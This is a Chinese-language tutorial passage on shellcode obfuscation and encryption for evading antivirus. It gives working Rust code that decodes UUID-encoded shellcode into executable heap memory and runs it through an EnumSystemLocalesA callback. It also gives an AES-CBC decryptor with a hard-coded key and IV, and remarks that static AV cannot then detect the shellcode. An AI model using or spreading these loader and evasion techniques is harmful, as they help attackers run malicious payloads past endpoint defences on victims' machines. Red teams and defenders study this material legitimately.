加密与混淆

UUID Shellcode

作为一种已成为经典的混淆方式,本质上是将 shellcode 转换成 uuid 数组的形式,然后使用 UuidFromStringA 这一个 win api 去转换再填入指定内存,然后再去执行 shellcode。

demo 涉及的主要 win api 调用:

  • 创建空间: HeapCreate, HeapAlloc
  • 转换: UuidFromStringA, 这一步也可以自己手写实现而不调用 api
  • 执行: EnumSystemLocalesA 回调函数

其他的 回调函数 还有:

  • EnumFontsW
  • EnumUILanguages
  • EnumFontFamiliesEx
// create and alloc heap space
let heap_handler = HeapCreate(
	HEAP_CREATE_ENABLE_EXECUTE,
	0,
	0
);
let heap_address = HeapAlloc(
	heap_handler,
	0,
	0x100000
);
 
let mut pointer = heap_address as usize;
check!(pointer != 0);
// convert uuid to shellcode and fill to heap space
for code in uuid_shellcodes {
	let c_code = CString::new(code).unwrap();
	let c_code_address = c_code.as_ptr() as *mut u8;
	let status = UuidFromStringA(c_code_address, pointer as *mut GUID);
	check!(status == 0);
	pointer += 16;
}
 
// execute shellcode
EnumSystemLocalesA(transmute(heap_address), 0);
CloseHandle(heap_handler);

现状:被 AV 杀穿。

Encrypted Shellcode

使用非明文 shellcode,具体方式的选择就看各自喜欢了,不过尽量选不使用 win api 的加解密实现,可以选择手写算法或用一些第三方提供的纯语言实现。

demo 提供了一个 aes cbc 128 解密,使用 libaes 这一个纯 rust 实现的 aes 加解密 crate:

pub struct AesConvert {
    cipher: Cipher,
}
impl AesConvert {
    pub fn new(key: &[u8; 16]) -> Self {
        AesConvert {
            cipher: Cipher::new_128(key),
        }
    }
}
impl Convert for AesConvert {
    fn convert(&self, shellcode: &[u8]) -> Vec<u8> {
        let iv = hex::decode("b6e76705e06d26fa38b81d041950baa4").unwrap();
        let decrypted = self.cipher.cbc_decrypt(&iv, shellcode);
        return decrypted;
    }
}

使用

let key = hex::decode("dba71c7289ff2fb17aa35e83e2025bcb")?;
let aes = AesConvert::new(&key.try_into().unwrap());
let shellcode = aes.convert(encrypted_shellcode);

基本上如果不用 win api 来做加解密操作,稍微套几层,静态 av 是识别不到 shellcode 的,只能结合其他特征来进一步判断。

还有一些其他常用的加密手段:

  • Xor
  • RC4
  • RSA

加载方式

参数化传递

文件读取

远程加载